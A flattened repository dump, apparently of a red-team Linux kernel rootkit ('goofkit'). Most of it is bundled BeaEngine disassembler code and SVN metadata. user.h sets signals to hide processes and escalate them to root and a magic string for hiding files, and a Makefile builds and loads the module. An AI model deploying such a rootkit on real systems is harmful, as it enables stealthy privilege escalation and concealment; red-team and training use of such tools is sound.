├── docs └── Poster.png ├── beaengineSources ├── .BeaEngine.c.swp ├── .svn │ ├── dir-prop-base │ ├── text-base │ │ ├── CMakeLists.txt.svn-base │ │ ├── README.txt.svn-base │ │ ├── BeaEngine.c.svn-base │ │ └── COPYING.LESSER.txt.svn-base │ ├── all-wcprops │ └── entries ├── CMakeLists.txt ├── README.txt ├── Includes │ ├── .svn │ │ ├── all-wcprops │ │ ├── text-base │ │ │ └── BeaEngineVersion.c.svn-base │ │ └── entries │ ├── BeaEngineVersion.c │ └── instr_set │ │ ├── opcodes_Grp4.c │ │ ├── .svn │ │ ├── text-base │ │ │ ├── opcodes_Grp4.c.svn-base │ │ │ ├── opcodes_CLMUL.c.svn-base │ │ │ ├── opcodes_Grp8.c.svn-base │ │ │ ├── opcodes_Grp16.c.svn-base │ │ │ ├── opcodes_Grp9.c.svn-base │ │ │ ├── opcodes_Grp6.c.svn-base │ │ │ ├── opcodes_Grp5.c.svn-base │ │ │ ├── opcodes_AES.c.svn-base │ │ │ ├── opcodes_Grp15.c.svn-base │ │ │ ├── opcodes_Grp12.c.svn-base │ │ │ ├── opcodes_Grp13.c.svn-base │ │ │ └── opcodes_Grp14.c.svn-base │ │ ├── all-wcprops │ │ └── entries │ │ ├── opcodes_CLMUL.c │ │ ├── opcodes_Grp8.c │ │ ├── opcodes_Grp16.c │ │ ├── opcodes_Grp9.c │ │ ├── opcodes_Grp6.c │ │ ├── opcodes_Grp5.c │ │ ├── opcodes_AES.c │ │ ├── opcodes_Grp15.c │ │ ├── opcodes_Grp12.c │ │ ├── opcodes_Grp13.c │ │ └── opcodes_Grp14.c ├── BeaEngine.c └── COPYING.LESSER.txt ├── include ├── .svn │ ├── all-wcprops │ └── entries └── beaengine │ ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── macros.h.svn-base │ │ ├── export.h.svn-base │ │ ├── BeaEngine.h.svn-base │ │ └── basic_types.h.svn-base │ ├── macros.h │ ├── export.h │ ├── BeaEngine.h │ └── basic_types.h ├── user.h ├── Makefile ├── LICENSE ├── .gitignore ├── README.md └── goof.h /docs/Poster.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RITRedteam/goofkit/HEAD/docs/Poster.png -------------------------------------------------------------------------------- /beaengineSources/.BeaEngine.c.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RITRedteam/goofkit/HEAD/beaengineSources/.BeaEngine.c.swp -------------------------------------------------------------------------------- /include/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 43 4 | /svn/!svn/ver/127/branches/reg_test/include 5 | END 6 | -------------------------------------------------------------------------------- /beaengineSources/.svn/dir-prop-base: -------------------------------------------------------------------------------- 1 | K 10 2 | svn:ignore 3 | V 59 4 | cmake_install.cmake 5 | CMakeFiles 6 | lib 7 | Makefile 8 | CMakeCache.txt 9 | 10 | END 11 | -------------------------------------------------------------------------------- /user.h: -------------------------------------------------------------------------------- 1 | // Signals 2 | // Ex. `kill -s ` 3 | // Signal to hide a process 4 | #define HIDE_SIG 62 5 | // Signal to escalate a process to a root 6 | #define ESC_SIG 63 7 | 8 | // Magic string used to hide a file 9 | #define MAGIC_STRING "E1e37" 10 | -------------------------------------------------------------------------------- /include/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 175 5 | http://beaengine.googlecode.com/svn/branches/reg_test/include 6 | http://beaengine.googlecode.com/svn 7 | 8 | 9 | 10 | 2010-05-27T22:08:36.901340Z 11 | 127 12 | igor.gutnik 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | e67b0f8a-f93e-11de-ba51-6b4196a2b81e 28 | 29 | beaengine 30 | dir 31 | 32 | -------------------------------------------------------------------------------- /beaengineSources/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | set (BEA_SOURCES BeaEngine.c) 2 | 3 | if (optBUILD_DLL) 4 | add_library (${BEA_TARGET} SHARED BeaEngine.c) 5 | set_target_properties (${BEA_TARGET} PROPERTIES COMPILE_FLAGS "-DBUILD_BEA_ENGINE_DLL") 6 | else () 7 | add_library (${BEA_TARGET} STATIC BeaEngine.c) 8 | set_target_properties (${BEA_TARGET} PROPERTIES COMPILE_FLAGS "-DBEA_ENGINE_STATIC") 9 | endif () 10 | -------------------------------------------------------------------------------- /beaengineSources/.svn/text-base/CMakeLists.txt.svn-base: -------------------------------------------------------------------------------- 1 | set (BEA_SOURCES BeaEngine.c) 2 | 3 | if (optBUILD_DLL) 4 | add_library (${BEA_TARGET} SHARED BeaEngine.c) 5 | set_target_properties (${BEA_TARGET} PROPERTIES COMPILE_FLAGS "-DBUILD_BEA_ENGINE_DLL") 6 | else () 7 | add_library (${BEA_TARGET} STATIC BeaEngine.c) 8 | set_target_properties (${BEA_TARGET} PROPERTIES COMPILE_FLAGS "-DBEA_ENGINE_STATIC") 9 | endif () 10 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | obj-m := goof.o 2 | ccflags-y := -Wframe-larger-than=4608 -std=gnu99 -Wno-declaration-after-statement -g -O0 -fno-stack-protector -z execstack 3 | 4 | KERNEL_DIR = /lib/modules/$(shell uname -r)/build 5 | 6 | PWD=$(shell pwd) 7 | 8 | INC_DIR = ./include/beaengine 9 | INC_DIR += ./beaengineSources 10 | all: 11 | $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) 12 | 13 | ins: 14 | rmmod goof 15 | insmod goof.ko 16 | dmesg | grep goof --color=always 17 | 18 | clean: 19 | rm -rf *.o *.ko *.symvers *.mod *.mod.c *.order .*.cmd 20 | 21 | -------------------------------------------------------------------------------- /include/beaengine/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 53 4 | /svn/!svn/ver/127/branches/reg_test/include/beaengine 5 | END 6 | BeaEngine.h 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 65 10 | /svn/!svn/ver/127/branches/reg_test/include/beaengine/BeaEngine.h 11 | END 12 | export.h 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 62 16 | /svn/!svn/ver/125/branches/reg_test/include/beaengine/export.h 17 | END 18 | macros.h 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 62 22 | /svn/!svn/ver/125/branches/reg_test/include/beaengine/macros.h 23 | END 24 | basic_types.h 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 67 28 | /svn/!svn/ver/125/branches/reg_test/include/beaengine/basic_types.h 29 | END 30 | -------------------------------------------------------------------------------- /beaengineSources/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 52 4 | /svn/!svn/ver/125/branches/reg_test/beaengineSources 5 | END 6 | COPYING.txt 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 64 10 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/COPYING.txt 11 | END 12 | README.txt 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 63 16 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/README.txt 17 | END 18 | CMakeLists.txt 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 67 22 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/CMakeLists.txt 23 | END 24 | BeaEngine.c 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 64 28 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/BeaEngine.c 29 | END 30 | COPYING.LESSER.txt 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 71 34 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/COPYING.LESSER.txt 35 | END 36 | -------------------------------------------------------------------------------- /beaengineSources/README.txt: -------------------------------------------------------------------------------- 1 | ; ======================================== 2 | ; 3 | ; BeaEngine 4 4 | ; 5 | ; ======================================== 6 | 7 | 1) LICENSE 8 | ========== 9 | 10 | This software is distributed under the LGPL license. 11 | See the COPYING and COPYING.LESSER files for more details. 12 | 13 | 14 | 2) ONLINE DOCUMENTATION 15 | ======================= 16 | 17 | For online documentation, visit : 18 | 19 | http://www.beaengine.org 20 | 21 | 22 | 3) AUTHOR, CONTRIBUTORS, BETA-TESTERS 23 | ========================================== 24 | 25 | BeatriX - Author (France) : beaengine (at) gmail.com 26 | Igor Gutnik - Developer (ported the project on linux) 27 | 28 | Contributors : 29 | 30 | andrewl, bax, William Pomian, Ange Albertini, Pyrae, Vincent Roy, Kharneth, Eedy, Neitsa, KumaT, Rafal Cyran, 29a metal, sessiondiy, Tim, vince, Igor Gutnik, ouadji, Helle. 31 | -------------------------------------------------------------------------------- /beaengineSources/.svn/text-base/README.txt.svn-base: -------------------------------------------------------------------------------- 1 | ; ======================================== 2 | ; 3 | ; BeaEngine 4 4 | ; 5 | ; ======================================== 6 | 7 | 1) LICENSE 8 | ========== 9 | 10 | This software is distributed under the LGPL license. 11 | See the COPYING and COPYING.LESSER files for more details. 12 | 13 | 14 | 2) ONLINE DOCUMENTATION 15 | ======================= 16 | 17 | For online documentation, visit : 18 | 19 | http://www.beaengine.org 20 | 21 | 22 | 3) AUTHOR, CONTRIBUTORS, BETA-TESTERS 23 | ========================================== 24 | 25 | BeatriX - Author (France) : beaengine (at) gmail.com 26 | Igor Gutnik - Developer (ported the project on linux) 27 | 28 | Contributors : 29 | 30 | andrewl, bax, William Pomian, Ange Albertini, Pyrae, Vincent Roy, Kharneth, Eedy, Neitsa, KumaT, Rafal Cyran, 29a metal, sessiondiy, Tim, vince, Igor Gutnik, ouadji, Helle. 31 | -------------------------------------------------------------------------------- /beaengineSources/Includes/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 61 4 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes 5 | END 6 | internal_datas.h 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 78 10 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/internal_datas.h 11 | END 12 | BeaEngineVersion.c 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 80 16 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/BeaEngineVersion.c 17 | END 18 | Routines_ModRM.c 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 78 22 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/Routines_ModRM.c 23 | END 24 | Routines_Disasm.c 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 79 28 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/Routines_Disasm.c 29 | END 30 | protos.h 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 70 34 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/protos.h 35 | END 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 RIT redteam 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by https://www.gitignore.io/api/c,linux 2 | 3 | ### C ### 4 | # Prerequisites 5 | *.d 6 | 7 | # Object files 8 | *.o 9 | *.ko 10 | *.obj 11 | *.elf 12 | 13 | # Linker output 14 | *.ilk 15 | *.map 16 | *.exp 17 | 18 | # Precompiled Headers 19 | *.gch 20 | *.pch 21 | 22 | # Libraries 23 | *.lib 24 | *.a 25 | *.la 26 | *.lo 27 | 28 | # Shared objects (inc. Windows DLLs) 29 | *.dll 30 | *.so 31 | *.so.* 32 | *.dylib 33 | 34 | # Executables 35 | *.exe 36 | *.out 37 | *.app 38 | *.i*86 39 | *.x86_64 40 | *.hex 41 | 42 | # Debug files 43 | *.dSYM/ 44 | *.su 45 | *.idb 46 | *.pdb 47 | 48 | # Kernel Module Compile Results 49 | *.mod* 50 | *.cmd 51 | .tmp_versions/ 52 | modules.order 53 | Module.symvers 54 | Mkfile.old 55 | dkms.conf 56 | 57 | ### Linux ### 58 | *~ 59 | 60 | # temporary files which can be created if a process still has a handle open of a deleted file 61 | .fuse_hidden* 62 | 63 | # KDE directory preferences 64 | .directory 65 | 66 | # Linux trash folder which might appear on any partition or disk 67 | .Trash-* 68 | 69 | # .nfs files are created when an open file is removed but is still being accessed 70 | .nfs* 71 | 72 | 73 | # End of https://www.gitignore.io/api/c,linux -------------------------------------------------------------------------------- /beaengineSources/Includes/BeaEngineVersion.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2010, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | const char* __bea_callspec__ BeaEngineVersion() { 23 | return "trunk"; 24 | } 25 | 26 | /* ==================================================================== 27 | * 28 | * ==================================================================== */ 29 | const char* __bea_callspec__ BeaEngineRevision() { 30 | return "trunk"; 31 | } 32 | -------------------------------------------------------------------------------- /beaengineSources/Includes/.svn/text-base/BeaEngineVersion.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2010, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | const char* __bea_callspec__ BeaEngineVersion() { 23 | return "trunk"; 24 | } 25 | 26 | /* ==================================================================== 27 | * 28 | * ==================================================================== */ 29 | const char* __bea_callspec__ BeaEngineRevision() { 30 | return "trunk"; 31 | } 32 | -------------------------------------------------------------------------------- /include/beaengine/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 175 5 | http://beaengine.googlecode.com/svn/branches/reg_test/include/beaengine 6 | http://beaengine.googlecode.com/svn 7 | 8 | 9 | 10 | 2010-05-27T22:08:36.901340Z 11 | 127 12 | igor.gutnik 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | e67b0f8a-f93e-11de-ba51-6b4196a2b81e 28 | 29 | macros.h 30 | file 31 | 32 | 33 | 34 | 35 | 2016-03-16T14:59:57.271913Z 36 | 307dbad49508bc9a81ca132405a51518 37 | 2010-01-29T22:38:05.938122Z 38 | 77 39 | igor.gutnik 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 1795 62 | 63 | basic_types.h 64 | file 65 | 66 | 67 | 68 | 69 | 2016-03-16T14:59:57.271913Z 70 | 15a01387a7b82e972505e916110d244a 71 | 2010-05-26T12:54:26.815970Z 72 | 121 73 | beaengine 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 7489 96 | 97 | BeaEngine.h 98 | file 99 | 100 | 101 | 102 | 103 | 2016-03-16T14:59:57.271913Z 104 | e0c2311d47ef23e919edca05811a3b6c 105 | 2010-05-27T22:08:36.901340Z 106 | 127 107 | igor.gutnik 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 6735 130 | 131 | export.h 132 | file 133 | 134 | 135 | 136 | 137 | 2016-03-16T14:59:57.271913Z 138 | dc510408bdd36c13d4c8db981fa164e9 139 | 2010-05-18T19:16:46.159890Z 140 | 114 141 | beaengine 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 4681 164 | 165 | -------------------------------------------------------------------------------- /include/beaengine/macros.h: -------------------------------------------------------------------------------- 1 | #ifndef __BEAENGINE_MACROS_H__ 2 | #define __BEAENGINE_MACROS_H__ 3 | /* 4 | ============================================================================ 5 | Compiler Silencing macros 6 | 7 | Some compilers complain about parameters that are not used. This macro 8 | should keep them quiet. 9 | ============================================================================ 10 | */ 11 | 12 | # if defined (__GNUC__) && ((__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 2))) 13 | # define BEA_UNUSED_ARG(a) (void) (a) 14 | #elif defined (ghs) || defined (__GNUC__) || defined (__hpux) || defined (__sgi) || defined (__DECCXX) || defined (__rational__) || defined (__USLC__) || defined (BEA__RM544) || defined (__DCC__) || defined (__PGI) || defined (__TANDEM) || defined(__BORLANDC__) 15 | /* 16 | Some compilers complain about "statement with no effect" with (a). 17 | This eliminates the warnings, and no code is generated for the null 18 | conditional statement. Note, that may only be true if -O is enabled, 19 | such as with GreenHills (ghs) 1.8.8. 20 | */ 21 | 22 | # define BEA_UNUSED_ARG(a) do {/* null */} while (&a == 0) 23 | #elif defined (__DMC__) 24 | #if defined(__cplusplus) 25 | #define BEA_UNUSED_ID(identifier) 26 | template 27 | inline void BEA_UNUSED_ARG(const T& BEA_UNUSED_ID(t)) { } 28 | #else 29 | #define BEA_UNUSED_ARG(a) 30 | #endif 31 | #else /* ghs || __GNUC__ || ..... */ 32 | # define BEA_UNUSED_ARG(a) (a) 33 | #endif /* ghs || __GNUC__ || ..... */ 34 | 35 | #if defined (_MSC_VER) || defined(__sgi) || defined (ghs) || defined (__DECCXX) || defined(__BORLANDC__) || defined (BEA_RM544) || defined (__USLC__) || defined (__DCC__) || defined (__PGI) || defined (__TANDEM) || (defined (__HP_aCC) && (__HP_aCC >= 60500)) 36 | # define BEA_NOTREACHED(a) 37 | #else /* __sgi || ghs || ..... */ 38 | # define BEA_NOTREACHED(a) a 39 | #endif /* __sgi || ghs || ..... */ 40 | 41 | #endif /* __BEAENGINE_MACROS_H__ */ 42 | -------------------------------------------------------------------------------- /include/beaengine/.svn/text-base/macros.h.svn-base: -------------------------------------------------------------------------------- 1 | #ifndef __BEAENGINE_MACROS_H__ 2 | #define __BEAENGINE_MACROS_H__ 3 | /* 4 | ============================================================================ 5 | Compiler Silencing macros 6 | 7 | Some compilers complain about parameters that are not used. This macro 8 | should keep them quiet. 9 | ============================================================================ 10 | */ 11 | 12 | # if defined (__GNUC__) && ((__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 2))) 13 | # define BEA_UNUSED_ARG(a) (void) (a) 14 | #elif defined (ghs) || defined (__GNUC__) || defined (__hpux) || defined (__sgi) || defined (__DECCXX) || defined (__rational__) || defined (__USLC__) || defined (BEA__RM544) || defined (__DCC__) || defined (__PGI) || defined (__TANDEM) || defined(__BORLANDC__) 15 | /* 16 | Some compilers complain about "statement with no effect" with (a). 17 | This eliminates the warnings, and no code is generated for the null 18 | conditional statement. Note, that may only be true if -O is enabled, 19 | such as with GreenHills (ghs) 1.8.8. 20 | */ 21 | 22 | # define BEA_UNUSED_ARG(a) do {/* null */} while (&a == 0) 23 | #elif defined (__DMC__) 24 | #if defined(__cplusplus) 25 | #define BEA_UNUSED_ID(identifier) 26 | template 27 | inline void BEA_UNUSED_ARG(const T& BEA_UNUSED_ID(t)) { } 28 | #else 29 | #define BEA_UNUSED_ARG(a) 30 | #endif 31 | #else /* ghs || __GNUC__ || ..... */ 32 | # define BEA_UNUSED_ARG(a) (a) 33 | #endif /* ghs || __GNUC__ || ..... */ 34 | 35 | #if defined (_MSC_VER) || defined(__sgi) || defined (ghs) || defined (__DECCXX) || defined(__BORLANDC__) || defined (BEA_RM544) || defined (__USLC__) || defined (__DCC__) || defined (__PGI) || defined (__TANDEM) || (defined (__HP_aCC) && (__HP_aCC >= 60500)) 36 | # define BEA_NOTREACHED(a) 37 | #else /* __sgi || ghs || ..... */ 38 | # define BEA_NOTREACHED(a) a 39 | #endif /* __sgi || ghs || ..... */ 40 | 41 | #endif /* __BEAENGINE_MACROS_H__ */ 42 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp4.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0feh 21 | * ==================================================================== */ 22 | void __bea_callspec__ G4_Eb(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | if (GV.REGOPCODE == 0) { 26 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 27 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 28 | } 29 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); 31 | Eb(pMyDisasm); 32 | FillFlags(pMyDisasm, 40); 33 | } 34 | else if (GV.REGOPCODE == 1) { 35 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 36 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 37 | } 38 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; 39 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); 40 | Eb(pMyDisasm); 41 | FillFlags(pMyDisasm, 30); 42 | } 43 | else { 44 | FailDecode(pMyDisasm); 45 | } 46 | } 47 | 48 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp4.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0feh 21 | * ==================================================================== */ 22 | void __bea_callspec__ G4_Eb(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | if (GV.REGOPCODE == 0) { 26 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 27 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 28 | } 29 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); 31 | Eb(pMyDisasm); 32 | FillFlags(pMyDisasm, 40); 33 | } 34 | else if (GV.REGOPCODE == 1) { 35 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 36 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 37 | } 38 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; 39 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); 40 | Eb(pMyDisasm); 41 | FillFlags(pMyDisasm, 30); 42 | } 43 | else { 44 | FailDecode(pMyDisasm); 45 | } 46 | } 47 | 48 | -------------------------------------------------------------------------------- /beaengineSources/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 175 5 | http://beaengine.googlecode.com/svn/branches/reg_test/beaengineSources 6 | http://beaengine.googlecode.com/svn 7 | 8 | 9 | 10 | 2010-05-27T21:24:36.783023Z 11 | 124 12 | igor.gutnik 13 | has-props 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | e67b0f8a-f93e-11de-ba51-6b4196a2b81e 28 | 29 | README.txt 30 | file 31 | 32 | 33 | 34 | 35 | 2016-03-16T14:59:57.255913Z 36 | a24688b4fa2e6e7cd1f2e29224b9691b 37 | 2010-05-02T16:33:44.428245Z 38 | 112 39 | beaengine 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 769 62 | 63 | CMakeLists.txt 64 | file 65 | 66 | 67 | 68 | 69 | 2016-03-16T14:59:57.255913Z 70 | bbd535f2e9605e915da93e15ca615435 71 | 2010-01-25T16:23:10.992115Z 72 | 65 73 | igor.gutnik 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 343 96 | 97 | BeaEngine.c 98 | file 99 | 100 | 101 | 102 | 103 | 2016-03-16T14:59:57.255913Z 104 | e42cb2d875158b268465900e006883b6 105 | 2010-05-02T16:33:44.428245Z 106 | 112 107 | beaengine 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 2191 130 | 131 | COPYING.LESSER.txt 132 | file 133 | 134 | 135 | 136 | 137 | 2016-03-16T14:59:57.255913Z 138 | 6a6a8e020838b23406c81b19c1d46df6 139 | 2010-01-04T17:01:50.480588Z 140 | 2 141 | beaengine 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 7639 164 | 165 | Includes 166 | dir 167 | 168 | COPYING.txt 169 | file 170 | 171 | 172 | 173 | 174 | 2016-03-16T14:59:57.255913Z 175 | d32239bcb673463ab874e80d47fae504 176 | 2010-01-04T17:01:50.480588Z 177 | 2 178 | beaengine 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 35147 201 | 202 | -------------------------------------------------------------------------------- /beaengineSources/Includes/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 175 5 | http://beaengine.googlecode.com/svn/branches/reg_test/beaengineSources/Includes 6 | http://beaengine.googlecode.com/svn 7 | 8 | 9 | 10 | 2010-05-27T21:24:36.783023Z 11 | 124 12 | igor.gutnik 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | e67b0f8a-f93e-11de-ba51-6b4196a2b81e 28 | 29 | internal_datas.h 30 | file 31 | 32 | 33 | 34 | 35 | 2016-03-16T14:59:57.243914Z 36 | bdebf08205ead75c61866e01e03b514d 37 | 2010-05-02T09:28:49.600119Z 38 | 110 39 | beaengine 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 19850 62 | 63 